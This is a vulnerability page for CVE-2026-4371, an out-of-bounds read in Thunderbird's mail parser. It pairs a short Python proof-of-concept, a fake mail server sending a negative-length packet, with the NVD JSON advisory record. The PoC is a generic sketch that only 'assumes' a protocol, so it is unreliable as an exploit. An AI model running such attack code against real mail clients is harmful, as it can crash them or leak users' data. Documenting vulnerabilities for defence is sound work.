CVE-2026-4371

import socket import struct # Proof of Concept for CVE-2026-4371 # This script simulates a malicious mail server sending a malformed string with negative length. # Note: This is for educational purposes only. def send_malformed_response(client_socket): # Construct a malicious packet header # Assuming a protocol where length is expected as a 32-bit integer # We send a negative length (e.g., -1 represented as 0xFFFFFFFF) negative_length = struct.pack('>i', -1) # Malformed payload payload = b"MALICIOUS_DATA" # Send the length followed by the payload # The parser may interpret -1 as a large unsigned int, leading to OOB read packet = negative_length + payload try: client_socket.sendall(packet) print("[+] Malformed packet sent successfully.") except Exception as e: print(f"[-] Error sending packet: {e}") # Example usage (requires a listener setup) # server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # server.bind(("0.0.0.0", 110)) # POP3 port example # server.listen(1) # print("[+] Listening for connections...") # conn, addr = server.accept() # send_malformed_response(conn)

{"cve": {"id": "CVE-2026-4371", "sourceIdentifier": "[email protected]", "published": "2026-03-24T21:16:29.583", "lastModified": "2026-04-13T15:17:36.130", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A malicious mail server could send malformed strings with negative lengths, causing the parser to read memory outside the buffer. If a mail server or connection to a mail server were compromised, an attacker could cause the parser to malfunction, potentially crashing Thunderbird or leaking sensitive data. This vulnerability was fixed in Thunderbird 149 and Thunderbird 140.9."}, {"lang": "es", "value": "Un servidor de correo malicioso podría enviar cadenas malformadas con longitudes negativas, haciendo que el analizador lea memoria fuera del búfer. Si un servidor de correo o una conexión a un servidor de correo fueran comprometidos, un atacante podría hacer que el analizador funcione mal, potencialmente bloqueando Thunderbird o filtrando datos sensibles. Esta vulnerabilidad afecta a Thunderbird < 149 y Thunderbird < 140.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-126"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.9.0", "matchCriteriaId": "4C0558B1-4113-45A8-8E37-A0793A67AD6D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:*", "versionEndExcluding": "149.0", "matchCriteriaId": "40FE4697-89F1-46F6-8E28-41883647583B"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2023493", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-23/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-24/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}